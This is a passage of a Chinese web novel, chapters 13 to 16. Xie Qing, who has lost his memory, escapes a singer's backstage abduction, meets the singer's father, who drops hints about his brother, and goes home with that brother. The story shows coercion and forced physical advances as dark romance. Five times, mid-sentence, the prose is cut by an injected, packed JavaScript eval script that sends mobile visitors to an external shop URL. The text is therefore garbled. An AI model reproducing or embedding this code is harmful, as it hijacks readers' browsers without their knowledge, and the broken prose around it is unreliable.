他一翻身上了手术台,压在谢清身上,优越的眉骨在眼眶投下阴影,显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173522|150533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得表情阴鸷暴戾。 “跟别的男人跑了的这段时间,被他们占走多少便宜了,嗯?”他扔下手术刀,随即又拿起一把剪刀,沿着谢清的衣服开始剪。 “居然还要找医生悄悄看病,是哪里痛呢?我来给宝宝检查一下吧。” 谢清一边发颤,一边在心里咒骂严恺和那个麻醉医生,不过看连忆心不完全知情的样子,幸好严恺没告诉医生他究竟想看什么“病”。 他颤巍巍抬手抓住了连忆心的手腕:“亲爱的,我跟你实话实说了吧,其实我失忆了,我什么都不记得,你的联系方式也不记得,不然我早就找你了,你说对吧?” “失忆?”连忆心眯起眼睛,“这个借口太拙劣了宝宝。” “是真的,就是车祸以后,那天在医院你来去的太匆忙,我都没来得及告诉你。” 明明是他谎称头痛把人赶跑的,现在倒打一耙说是连忆心走得匆忙,但连忆心没计较这个:“你说真的?你失忆了,你把我给忘了?” “所有人我都忘了!但是我对你印象特别深亲爱的,你可是我偶像啊,我卧室还有你海报呢,你肯定是我男朋友对吧,我一见你就觉得是这样,你能不能先把剪刀放下?” 这一听就是糊弄人的话居然奏效了,连忆心缓缓放下了剪刀,脸上浮出甜甜的笑容:“真的吗阿清?你把那些乱七八糟的男人都忘了,而且一见我就喜欢我?” 谢清连连点头:“我发誓亲爱的,我本来就是你的粉丝,你来医院看我简直跟做梦一样,你先从我身上下去可以不?” 这连环嘴炮砸的连忆心毫无招架之力,甜甜蜜蜜从他身上翻下去,把他上半身抱在怀里:“我也像做梦一样,阿清,你再也不能为了其他男人和我分手了,不然我真的会疯的。” 你现在就够疯了哥们…… 谢清突然捕捉到了什么:“你说分手?” 连忆心意识到自己说漏嘴,直接亲上来打断谢清的思考:“没什么宝宝,我是说我们要一直在一起。” 谢清有种被毒蛇亲吻着的错觉,他忍耐着先打量了一下周遭的环境,余光瞥见连忆心搁在一旁的剪刀,悄悄拿过来握在手心,他的衣服都被剪成了一缕一缕,随着连忆心的幅度越来越大,条状的布从他身上滑落。 “等、等一下亲爱的……”谢清喘息着推开连忆心,“我身体好像还有麻醉,提不起劲,你别亲了。” 红起来的脸替他掩饰了谎言的痕迹。 连忆心脸因为激动也跟着发烫,眼眸闪烁着光芒:“没关系宝宝,你躺着享受就行了,我现在就想……” “不不不,等一下,现在不合适,”谢清绞尽脑汁,“这里是哪里啊?外面不会有人经过吗?” 连忆心:“放心吧,没有人会来打扰我们。” “可是……”谢清顺势明目张胆地四处环顾,“这房间怎么连个窗户都没有?到底是哪里啊,还有这张床,好硬,我不舒服。” 连忆心当即抱起他:“那你坐我身上。” “不不不……” 连忆心动作停下,脸上的笑容也没了:“宝宝,你说喜欢不会是在骗我,故意拖延时间等人救你吧?” 13. 第 13 章 谢清冷汗都下来了,攥紧了手里的剪刀:“你多心了亲爱的,我没有那么想。” “那你抗拒我是什么意思?”连忆心阴沉着脸贴过来。 谢清见理智交流根本不奏效,看准时机猛地一个翻身,一手掐住连忆心脖子,一手举起剪刀比在他胸口,这下也不装了,凶巴巴道:“废话,你说为什么?我问你,这到底是哪儿?” 谁知连忆心并不害怕,反而挺起胸膛就往刀口上撞,吓得谢清往后一仰,被对方逮着机会挣脱开双手。 但挣脱开的连忆心压根不去和他对抗,而是捧着他拿剪刀的手就往自己心脏上比划:“宝宝,来,有本事往这儿插,让我看看你的决心。” 他眼底被疯狂所浸染,言语挑衅,声音却非常冷静,他握着谢清的手微微颤抖,并不是因为恐惧,而是兴奋。 谢清硬着头皮强撑道:“你以为我不敢?你把我绑来这儿,我捅下去也算正当防卫的你知道吗?” “那你捅啊,犹豫什么?” 真是个彻头彻尾的疯子! 他到底为什么会招惹上这家伙?谢清不确定自己一剪刀下去是不是真的没有罪责,僵持了一会儿,心中飞快整理着思绪,最终选择缓和语气:“好了亲爱的……我们不用非得你死我活的吧?我抗拒是因为,你看,我失忆了啊,虽然我对你有好感,但是对于我们的过去,我没有记忆,我觉得照这个发展实在是太快了我接受不了,我很传统的。我提议,不然我们重新恋爱,你觉得怎么样?” 连忆心好像在认真思考着他的话,过了一会儿,也微微松开了手:“真的?” 这次不等谢清点头,他就重展笑颜,张开手臂抱住了谢清:“宝宝不舍得伤害我,果然是喜欢我的,我就知道!” 谢清:“……” 这男鬼好像吃软不吃硬。 他也只好更加软化态度:“可不是吗,不要再说我骗你了。” 连忆心凑过来往他脸上亲了一口,谢清不满:“你有没有好好听我说话,我们俩之前是怎么开始的?现在就还按照那个节奏来,好吗?” 连忆心显得有些委屈:“可是,之前第一见面时,你就主动亲我了。” 谢清张大了眼睛,指着自己:“我?” 忽然脑海中画面一闪,他还真的浮起一丝记忆来。 那是在一个慈善晚宴,他不是作为谢氏二公子来的,而是以假身份偷偷混进来的,目的是为了手里的一张卡。 一张前男友给的卡,至于前男友是哪个,他想不起来,总之分手应该不是太愉快,那钱说不定会被冻住,所以他要赶紧把这两百万“洗”掉。 结果不知道究竟哪方势力识破了他的身份,他在叫价过程中就被人给盯上,那段时间四处逃窜的本能嗅觉让他立即觉察危机,果断离开了座位。 为了甩掉追他的人,他闯进了一间贵宾室,就是在那里遇见了连忆心。 连忆心的助理马上要叫保安,被艺人拦住了。 “怎么了,你是迷路了吗?” 谢清当时也认出了歌手连忆心,乍见到偶像的怔忡冲淡了逃窜的慌张,加上对方态度温润如玉,谢清被牵动着牵动,讷讷地点了下头。 连忆心就像电视里那样带着天使般温柔的笑:“没事呀,我找人帮你带路吧,你要坐下来休息一会儿吗?瞧你急得都出汗了。” 连忆心叫助理帮他倒了杯温水,又递来纸巾让他擦汗。 谢清很感激,坐在了偶像身旁,心里想的是果然没粉错人。看到连忆心放在身边的吉他,就问:“你来拍卖会也带着琴吗?” 连忆心顺着他的目光看了一眼,浅笑:“嗯,我出门会随身背着的,因为灵感无处不在嘛。” 他说完还俏皮的眨眨眼。 谢清被偶像平易近人的招待着,脑子一热,说:“不愧是我老公,真优秀啊。” 连忆心一愣:“你叫我什么?” “啊,对不起对不起!”谢清蹭一下站起来,“我还是走吧。” “没关系的,我不介意。” 这时走廊里传来人挨个房间敲门的声音,没人应的就会紧随暴力破门的动静,敲门的人一路敲到了连忆心这里。 谢清脸色一白,连忆心也皱起眉头。 谢清飞快转回身看着连忆心:“其实我是你粉丝,我特别喜欢你,我能不能再和你待一会儿?” “嗯?”连忆心没反应过来。 门口的人:“里面有人吗!” 连忆心给助理使了个眼色,助理过去处理了。 谢清紧张的直咽口水,注意到那些人走进屋子里来了,干脆上前一步抱住了连忆心:“老公你让我抱一会儿,圆我一个梦,我保证以后再也不出现在你眼前!” 因为冲上来的太猛,他的嘴唇撞到了连忆心脸上,连忆心吃痛哼了一声,表情一瞬变得阴沉:“你找死吗?” 谢清懵了,他根本不知道刚才亲到哪个位置,眼见连忆心脸色黑下来,后面还有豺狼虎豹等着把他拆分入腹,他急得眼角渗出泪花:“我不是故意的,撞到哪里了,很痛吗?我帮你吹吹……” 他笨拙又害怕地对着连忆心的嘴唇吹了几下。 连忆心看清他的样子,喉咙一紧,如同野兽嗅到肉的气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173523|150533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息一样,盯了谢清一会儿,缓缓抬手拭了一滴温热的泪,鬼使神差用舌尖卷走了。 谢清更懵了。 后面的人已经粗鲁地推开助理闯进来,正想盘问,被连忆心一个眼神吓得愣在原地。 连忆心搂住了谢清,像安抚小猫一样揉捏他的后颈,对那些闯进来的人冷冷道:“看什么?没看过艹粉?” 谢清腿一软,助理更是吓得面无血色。 等那些人尴尬地退了出去,连忆心才拍拍谢清的后背说:“刚刚是为了呵退他们,没吓到吧?” 谢清赶紧从他怀里跳出来摇头道谢。 现在要让谢清回过头想想,什么清纯才子连忆心,崩人设不是早有端倪的事吗?他当时居然半点不觉得,事后还认为自己傍上了好骗的靠山…… 他要是哪天真被连忆心拉去卖肾也是活该。 连忆心居然管那个叫亲吻,想起来了的谢清脸色青一阵白一阵的,他也不可能说我当时只是为了利用你,只好抽搐着嘴角挤出笑容:“亲爱的,那一定是意外,我们接下来还是放慢一点步调,多享受恋爱的过程,你看行吗?” “那好吧。”连忆心答应了,拉起谢清的手让他下了手术台。 谢清终于脚踏实地,须尾俱全,简直感动的想哭,连忆心把自己的外套脱给他披上,带他往外走。 连忆心:“那我们接下来该进行下一个阶段了。” 谢清:“啊?什么?” 连忆心:“告白啊。” ……告白啊。也行吧,互相讲几句情话又不掉块肉。 连忆心拉着谢清走出了这个房间,谢清终于可以一睹房间外的景象,只是长长的走廊空无一人,依然判断不出这里是哪。 谢清回了下头,这一次,他看见刚才出来的房间门上挂着一个A4纸打出来的简易吊牌。 第一行写着:「连忆心」 第二行是:「休息中,请勿打扰」 有点像是艺人单独的化妆间?这里难道是什么活动场地吗? 跟随连忆心静静穿过走廊,这回在尽头终于看见了人,还不少,其中就有他的助理,那助理看见谢清表情只是有细微的变化,很快就像没看见一样说:“祖宗你终于出来了,安可曲还唱吗?几万人在外面等着呢!” 连忆心:“唱。” 谢清猛地刹住脚步:“等一下亲爱的,这里是?” “我的演唱会后台。” 谢清眼前阵阵发黑,怀揣着最后一丝希望问:“那你刚才说的告白,是等唱完歌以后,对吧?” 连忆心微微一笑:“当然是在舞台上。” 14. 第 14 章 谢清吓得根本不敢再迈出去一步:“你疯了了吗?!别开这种玩笑了……” 连忆心淡定地吩咐助理和保镖:“带他去第一排正中间,我留了位子。” 助理就上前做了个“请”的手势,说是请,那俩保镖跟篮球场上的挡拆似的往他身后一站,特别客气的堵死所有去路。 谢清只能认了命,慢腾腾往场内挪,心里祈祷着严恺出息点,马上找到这里把他捞出去。 他才不想在几万人的见证下被刚刚绑架他的人告白。 去到了连忆心指定的位置,那里居然已经坐了个外国男人,也或许是混血,蓄着棕胡茬,年纪可能在四十上下,谢清猜不准,但看得出他保养得当,仪态相当优雅地端坐在那里,和身后的热闹格格不入,好像这里不是演唱会,是《教父》拍摄现场,他就是那位主角。 谢清以为男人是坐错了,保镖会上去把他请开,没想到连同助理在内,见到那男人都噤了声,毕恭毕敬点头问好:“连总。”之后就迅速撤退了。 男人偏头向谢清看过来,对他笑了一下,很随意地招手。 谢清走了过来:“呃……” “你可以坐我腿上。”男人笑着对他说。 谢清差点被自己口水呛到。 他结结巴巴“您”了半天,才把一句“您说笑了”给讲完整了。 “我的华国名字叫连隐。”男人自我介绍,“是忆心的父亲。” “哦……连叔叔好,您中文真不错。” 连忆心的父亲?谢清瞬间闪过许多念头,要不要求助眼前的男人,让他管管他儿子? 连隐一直看着谢清的脸:“听说你叫欣欣?” 谢清面皮一热,怎么会在这种场合从一个陌生老男人口中听到自己的小名!他刚想报上大名,连隐又说:“难怪谢怀章挑你带回去,是有几分像。” 谢清傻眼了:“像谁?” 男人笑笑不说话了。 最讨厌这种说话说一半的!要么就别说! 谢清趁着男人看向舞台,冲他翻了个白眼。 连忆心已经走上了舞台,顿时全场欢呼,沸反盈天。大屏幕上显示着摄影机扫到的观众,无一不激动雀跃。 这已经是在演唱会进行了数个小时,本来该结束了的情况下。 连忆心抱着吉他坐了下来,笑着对镜头说:“谢谢大家的安可,那么我就来再唱最后一曲吧,这首歌有点特别,是上个月新写的情歌,还没有发表过,而我想唱给他的人,此时也正在现场听着。” 此话一出,全场静默了片刻,变得更加沸腾。 谢清头痛不已,指望连爹能做点什么制止一下,不料连隐的目光不知何时又落回他身上了,就这么由下而上静静打量着。 “看来你没骗忆心,是真失忆了。” 谢清愣住。 他首先产生的疑问是:老男人怎么知道我失忆了。 但随即他意识到一个不对劲的地方,连隐说“没骗”忆心,代表刚刚自己和连忆心坦白的话老男人也知道。 可是从他在房间里和连忆心坦白后,再到连忆心上台,父子俩根本没有交流的时间。 那个房间里当时也只有他和连忆心两个人。 连隐想得到这个消息,就只有一个途径了——监听。 他监听了自己儿子? ……总算明白连忆心那变态劲遗传谁的了。 连忆心在台上的剖白还在继续:“这是一个对我很重要的人,我今天把他介绍给你们,希望能得到你们的祝福。因为我和他,彼此相爱着。” 台下刹那又回到了一片寂静。 谢清两眼一闭,心想完了完了。 他还想垂死挣扎一下:“连叔叔,你有口罩吗借我一只……” 连隐居然还真掏出一只崭新的一次性口罩递过来,还说:“站过来一点。” 谢清不明所以,但拿人手短嘛,于是就往男人身边靠了靠,不想男人直接牵住了他的手。谢清一怔,想抽出来。 连隐看也不看他:“老实点。” 连忆心已经接过一台摄影机,对着第一排打过来:“他就是——” 镜头掠过前排的粉丝,停在谢清这一块时,前后左右的人都站起来雀跃招手,并好奇镜头最终的定格。 谢清戴着口罩显得很慌张。 连忆心透过镜头看见了连隐,瞳孔蓦然一紧。 连隐对着儿子露出一个微妙的笑容,抓着谢清的手搁在另一只手心里,亲切地拍了拍,表面看上去就像一个仁慈宽厚的长辈在关照晚辈。 连忆心的脸色却变得非常差,表情有一瞬的狰狞,但当舞台另一侧的镜头对准他后,他马上调整好,展露出爱豆一样完美的笑容,把镜头开广角打向全场的观众:“那个人就是在座的所有人,我的小爱心们——” 霎那间,全场爆发出揭顶的欢呼,齐声高叫连忆心的名字,此起彼伏的“我们也爱你——!!” “永远支持你!!” 谢清的惊愕还停留在脸上,很快他意识到这或许是连隐的功劳,转头看向男人。 连隐悠悠拍了两下椅子扶手,就有一个黑衣男人推着轮椅过来,扶着他坐上去。 谢清这才知道他的腿不良于行。 轮椅路过谢清时,连隐对他微笑:“去安静的地方说会儿话吧。” 舞台上,连忆心的余光跟随着他们,直到两人身影消失在后台。歌一开口,第一句就唱错了,状态差的肉眼可见,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173524|150533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 台下的粉丝无比包容,高举荧光棒叫他别紧张。 谢清跟随连隐来到没人的房间,还是刚刚连忆心的休息室,没想到他还会回到这里。 和他们一同进来的是一群黑衣保镖,这让谢清变得有点紧张。 “您……您想跟我说什么?” 连隐笑得依旧亲切:“犬子胡闹,让你见笑了。” 谢清摇摇头:“多谢您帮忙解围,我们以前是认识的?” 连隐伸手示意他把手机递过来,谢清犹豫了一下,给他了。男人把自己的号码存了进去就还给了他。 “以前一直是电话联系,今天还是第一回见你。你很讨人喜欢,怪不得我儿子对你念念不忘。” “过奖了。” 谢清低头看了眼手机屏幕,依然没有信号,他的手指已经悄悄点在了严恺的电话上,连隐稍微换了个姿势,他就又慌忙收起了手机。 “别怕,只是找你说几句话,你随时都可以走。” 谢清狐疑:“什么话,您说吧。” 连隐优游不迫地笑着:“你要不要考虑跟了我?房子车子我都可以送,忆心也不会再来骚扰你。” 谢清面如菜色:“您、您在说什么呢?!我像缺钱的人吗,我好歹也是谢家二少爷!这话我就当没听过,您自重。” 连隐抚掌大笑,也不知道什么事情那么好笑。 “好了,还是这么不经逗。叔叔开玩笑的,你比我儿子还小一点。” 谢清:“……” 老东西,跟比你儿子还小的人开这种玩笑? 连隐:“不过你真的是忘得一干二净啊。” 谢清不是很高兴:“……到底什么事?” “你失忆前,我们私下约定过一个合作,这些你也不记得了?” “什么合作?抱歉,我不记得了。” 谢清愈发疑惑,连忆心的父亲是干嘛的他都想不起来,有什么理由和这样一个八竿子打不着的人合作,看起来也不像是因为连忆心。 连隐耸耸肩:“无妨,你需要的时候,可以随时再联系我,我对你的承诺依旧不变——我可以帮你从谢氏手里争那些你想要的。” 谢清脸色变了:“您又在开玩笑了,争?我为什么要争?我想要,哥哥都会给我。” “我知道了,”谢清点点头,“你是来挑拨离间的是不是?那你打错算盘了,我和我哥感情好的不得了,不会兄弟阋墙的。” 谢清转身就走,门口保镖身体一横,挡住了他的去路。 “这就是您说的随时可以走?”谢清讥讽地回头问。 连隐摆摆手,保镖就朝两边散开了。 “走之前,不妨看看这个。” 他手里的是一张照片。 15. 第 15 章 谢清在原地停顿了片刻。 反正看一看也不费什么功夫,他足尖一转,掉头走了回来,从男人手中劈手夺过照片。 拍的是车祸现场,背景是本市标志性的商场大厦,一个青年以不自然的姿势蜷缩在马路边,面白如纸,路人被定格的表情或震惊或同情。 那个青年是谢清自己。 谢清对此没有印象了,或许就是致使他失忆的那场车祸吧,但这又能说明什么? 连隐不紧不慢掏出了第二张照片,是谢氏集团的总公司门口,一个贼眉鼠目的人正在进门,与此同时回头观察身后,仿佛在确认有没有人跟着。 “重点是这个男人的车牌号。”连隐点了点第二张照片的角落,“这哥男人就是撞你的那个司机。” 谢清眉头拧了起来:“你想表达什么?” “那场车祸真的只是意外吗?”连隐笑着问。 是不是的,凭他一张嘴说了算吗?谢清想不起来。连隐拿来这么两张照片摆在一起,是想暗示他,他哥哥才是幕后主使? “两张照片能说明什么,我现在人就在谢家住的好好的,我哥想害我,我还能站在你面前?” “那都是因为你忘了啊。”连隐意味深长,“你好好想想,失忆前,你为什么要离开谢家?你到底发现了什么才不得不跑?而你哥哥又是怎么做的?” “好好想想吧。” 谢清捏着照片的手指微微颤抖,很快,他把两张叠在一起撕成了四半,扬手扔开。 “随便你怎么挑拨,我才不信。” “没关系,学聪明点是好事。”连隐并未生气,“不过我劝你,可不要一头热的直接去问你哥。我给你一个方向吧,你大可以去调查一下你父亲留下来的遗产,还有你的领养档案现在何处。” 谢清心烦意乱。 门口突然传来一阵混乱,连忆心的声音由远及近:“让开!我也敢拦,谁给你的狗胆。连隐——把我的人还给我!” 连隐给屋内的保镖使了个眼色,几人马上点头出去,门口很快传来混乱的打斗声,不一会儿门被人撞开了,连忆心看上去很狼狈,吉他也摔在地上,坏了半边。 连忆心看见谢清就要冲上来,被两个黑衣保镖架住,嘴上骂个不停。 连隐对谢清说:“你放心走吧。” 连忆心怒道:“连隐,你凭什么干预我和谁在一起,第一回我容忍了,这次我不会!” 连隐慢悠悠道:“忆心,第一回我就也跟你说了,人家要跟你分手,你就不要再纠缠着不放,像什么样子?你当现在是什么年代了,我们连家不干违法乱纪的事了,懂吗?” “你放屁,我和阿清是两情相悦,他说了他喜欢我,我们没有分手!” 连隐看向谢清:“好,那你让人家自己说。谢先生,你要是真心喜欢我儿子呢,今天的事算我多管闲事,我道歉,我走人。要是你不喜欢呢,你尽管离开,我自己的儿子我会管教好,不会再叫他找你惹事。” 连忆心挣扎的动作也停了下来,看着谢清:“宝宝,你告诉他,说你爱我。” 谢清巴不得赶紧溜之大吉,虽然没有记忆,他都能猜想到自己为什么要和连忆心分手,肯定是抱大腿时错以为对方是朵无暇的白莲,哪曾想剖开来是黑的,吃不消当然要逃了。 分手后还纠缠不休的前男友最可怕了! 谢清:“连叔叔,你可要说话算话。” 说完闷头往外走。 连忆心脸上煞时戾气四散,沉声:“谢清!?你敢走!” 谢清看他那着魔的样子心情也很复杂,毕竟是自己偶像,他停下来劝:“老……连忆心,别把心思放在我身上了,别耽误自己的才华。你如果能当个正常人,我还是会支持你的歌的。就这样,拜拜。” “你说真的?你还会支持我?” “嗯。” “别走!!”连忆心闭着眼睛平复了一下,“好吧,我明白了,你走吧,但是能不能和我好好告别一下。” 谢清愣了一下,分辨不出连忆心的意图。 但可以的话他也比较希望好聚好散,别给自己结个仇人。于是他重新走过来,认真地说:“再见,连忆心。” 连忆心看上去已经完全不激动了,他对架着他的黑衣人说:“先松一下手,我想抱一抱他。谢清,可以吗?” 谢清又犹豫了。 “只是抱一下,”连忆心露出了悲伤的表情,“你都还没有好好抱过我,分手了,也不能满足 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173525|150533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我最后一个心愿吗?” 连隐还在这里镇场子,谢清觉得连忆心没机会反悔,就点了下头。 黑衣人便把连忆心松开了。 连忆心上前一步,轻轻抱住了谢清。 谢清见他真的是告别,就也反手拍了拍他的后背:“再……唔!” 连忆心蓦然咬住了他的嘴唇,舌头长驱直入,像个凶徒在他口腔里攻城略地,连啃带咬的堵得人窒息。 谢清挣扎地发出一点求救声,连忆心很快就又被黑衣人拉开了,看着他,猖狂暴戾的笑。 谢清用手背摸了下嘴唇,被咬破了,淌着血。 他无可奈何瞪了连忆心一眼,扭头就走,这次再也没有回头。 连忆心在背后高声:“谢清!你等着,我不会放过你!” 谢清快步走出房间,随后变成小跑,最后直接狂奔起来,他不敢走人多的地方,害怕有连忆心埋伏的人,而且刚刚演唱会镜头照到他了,说不定会被人认出来。 谢清的直觉是准的,连忆心演唱会表白粉丝这个词条已经上了热搜,短短十几秒的前排镜头被传的到处都是,他虽然戴着口罩一闪而过,却因为露在外面的一双眼睛太惊艳,慌张的表情又很有喜剧效果,就被网友截出来反复讨论。 他走后门工作人员的通道,一路无人,转过最后一个转角,终于看到了出口。 顶头的玻璃天花板突然被人打碎,谢清吓了一大跳,连忙侧身贴住墙面,躲开了四溅的玻璃渣。 从上面翻进来一个身手矫健的男人,谢清抬头,就看见他紧绷的腰线和脊背,肌肉线条流畅,充满了一种力量美。 “岩哥?” 谢清脱口叫了出来。 宋岩低头一看,惊喜道:“宝宝!”他稳健地跳下来,长腿一迈,三两步冲到谢清面前:“宝宝,你没事吗?!连忆心有没有把你怎么样?” 估计是严恺通知了他,又从演唱会直播得知了位置。 虽然谢清才说过不想见他,但这会儿死里逃生看见了他,知道他是来救自己的,倒也没那么反感。 谢清摇摇头,刚要开口,上面冒出来一个冷冰冰渗着寒气的声音:“宋岩,你叫他什么?” 底下两个人同时一僵。 16. 第 16 章 谢呈冰人没出现,声音就震慑住了底下两个。 宋岩是因为身份,谢清却是因为还在想着连隐的话,他也不想怀疑哥哥的,可许多蛛丝马迹又让他心神不宁。 “出来。”谢呈冰在上面冷冷说。 宋岩和谢清就一语不发往外走,门是被从里面反锁的,宋岩让谢清躲开一点,自己掏出枪对着锁来了两下。 谢清震惊于他居然带了枪来。 门一开,谢呈冰就在外面冷若冰霜地看着他们,主要是看着宋岩。 宋岩解释:“大少爷,刚才是口误。” 谢清要是不知道任务的事还好,如今已经知道了,不由发笑,心想这是演给谁看。 他故意抱住了宋岩的胳膊,撒娇般的:“岩哥,你这么说,我可要伤心了。” 谢呈冰周遭仿佛直接冷了十几个度,凌厉的眼神几乎要洞穿宋岩。 “谢清,不要胡言乱语。” “怎么就说我胡言乱语呢?我看上岩哥了,哥,你把他送给我好不?” 宋岩抽出胳膊:“小少爷别胡闹了,宋氏不可与谢氏结姻,这是祖宗的规矩。” 谢清冷笑:“规矩是人定的,谢家现在是我哥哥做主,哥哥说可以就可以,你说呢,哥?” 谢呈冰:“不可以。” 他上前一步,要像寻常那样拉弟弟的手:“该回家了,和我走。” 没想到谢清反应极大,甩开手往后退了一大步:“我不回!哥你不答应我,我就不回。” “你究竟在闹什么脾气?是不是姓连的和你说什么了?” “你觉得他会说些什么?” 谢呈冰默然半晌:“他说什么都是假的,走吧,和我回家。” 谢清突然就站在原地哭了出来:“哥,你不是最宠我的吗,你快告诉我,你没有变,你还把我当最疼爱的弟弟,你发誓……我就和你回去。” 他一哭,宋岩和谢呈冰都变了表情,宋岩忍不住想把他揽进怀里,却只能握紧拳头,逼自己停在原地。 谢呈冰先一步抱住了谢清。 “你是我最疼爱的人,这辈子都是。” 这句毫不犹豫的承诺让谢清好受了许多,他借着耍脾气发泄着心底的不安,把眼泪蹭在谢呈冰衣服上,闷声说:“你发誓。” “我发誓。” 谢呈冰捧起谢清的脸,在他受伤的嘴唇上按了一下。 “嘶……轻点,哥。”谢清痛的低叫了一声。 谢呈冰眸色深沉:“都是我太大意了。” 谢清怕他质问自己偷偷溜走的事,忙转移话题:“回家吧哥。” “嗯,你先上车,我去找伤害你的人算账。”谢呈冰说。 谢清拽住他衣角:“不、不用了哥,没人伤害我,都是误会,已经说开了,我这不是好好的自己走出来了吗,算了,回家吧?” 他不想谢呈冰回过头撞上连隐,总觉得事态会变得不可控。 眼看谢呈冰还在沉思,谢清干脆抱住了他的腰:“哥,我不要一个人在车上等,我要你陪我。” 谢呈冰马上说:“好,走吧,一起回家。” 宋岩就在后头默默看着,一语不发地为主人打开车门,眼看兄弟两个拉着手上了车,然后谢清就躺在了谢呈冰腿上。 他合上车门,低垂着眼帘,眼睛里全无光彩。 - 回去后,谢呈冰去卧室帮谢清的嘴唇上药。 “我自己来就好了,哥。”谢清想接手棉签。 谢呈冰:“坐下。” 谢清只好乖乖坐下仰起脑袋,把嘴巴撅起来。 可棉签迟迟没有落下,谢呈冰看着弟弟出了神。 “哥?” 谢清叫了好几声他才回神,然后蘸取药膏涂上去。 “哥,我很久没去学校了吧?手机号也换了,老师同学都联系不上我了,他们没有联系你吗?没有催我去学校吗?” 谢清是突然想起来自己应该还在上学的,可打从病床上醒来,他哥提都没提这茬。 谢呈冰:“你去年就办理休学了。” 谢清一惊:“啊?为什么?” “心理原因,爸走后你打击太大了。”谢呈冰说的轻描淡写,避重就轻,“没什么大问题,现在都过去了,等你静养过这段时期,我就陪你办复学。” 谢清还要细问,那棉签加重了一点力道。 “嘶……轻点,哥。” 宋岩在门口敲了敲:“大少爷,客人来了。” 谢清奇道:“客人?谁?” “知道了。”谢呈冰收起医药箱,摸摸谢清的头,“乖乖静养,别乱……” “别乱跑,知道啦,听的耳朵都起茧子了。”谢清不高兴,“至于吗?不就是怀个孕,我身体一点感觉都没有,我觉得根本不是大事。” “别让我生气。”谢呈冰说。 谢清闷闷趴到了床上:“……知道了。” 谢呈冰下楼以后径直走向门口。 客人并未被请进家门,主人也丝毫没有招待他们的意思。 门开了,是谢清的几个同学:“啊,呈冰哥,听说谢清回家了?” “他怎么样?失去消息大半年,我们都很担心他,又联系不上,才冒昧上门打扰。” 同学们脸上一个个都挂着担忧。 他们其实已经给谢呈冰发过预约邮件,没收到任何回复,只有一个冷冰冰的已读回执。 “听说他出了车祸,是不是真的啊?我们真的很担心。” 聒噪。谢呈冰面无表情地想。 什么阿猫阿狗都想把谢清从他身边带走。 “谢清不想见人,不要再来了。” “可是……” “宋岩,送客。” 谢呈冰转身回了客厅。 宋岩无奈送走几个心有不甘的学生,回来以后,谢呈冰还坐在客厅,眼神冰冷地扫向他。 宋岩一看就明白家主在想什么,低头:“大少爷,白天那个称 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173526|150533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼是我越界。的确是做任务时叫顺口了,没有别的意思。” 谢呈冰:“你明天不用来谢宅了,去隔壁市帮我催工程。” 宋岩心中苦笑。 “是。” 他转身,走到门口时略微停顿:“大少爷,恕我多嘴,你不可能让他一辈子不出门,不见人吧。” “确实多嘴。”谢呈冰说,“多和你父亲学学,宋家人的脑袋该用在什么地方。” “……是。” - 晚上在餐厅用餐时,谢呈冰给谢清盛了一碗汤,状若无意地问:“要不要一起睡?” 谢清奇怪了:“之前求你陪我睡觉你都不肯,还把自己卧室让给我,现在怎么又肯啦?” 谢呈冰:“前阵子我睡觉打呼,怕吵到你,现在治好了。” 谢清咬着汤里夹出来的排骨含糊道:“啊?以前你也没打呼噜啊,这东西能突然出现,又突然治好的?” 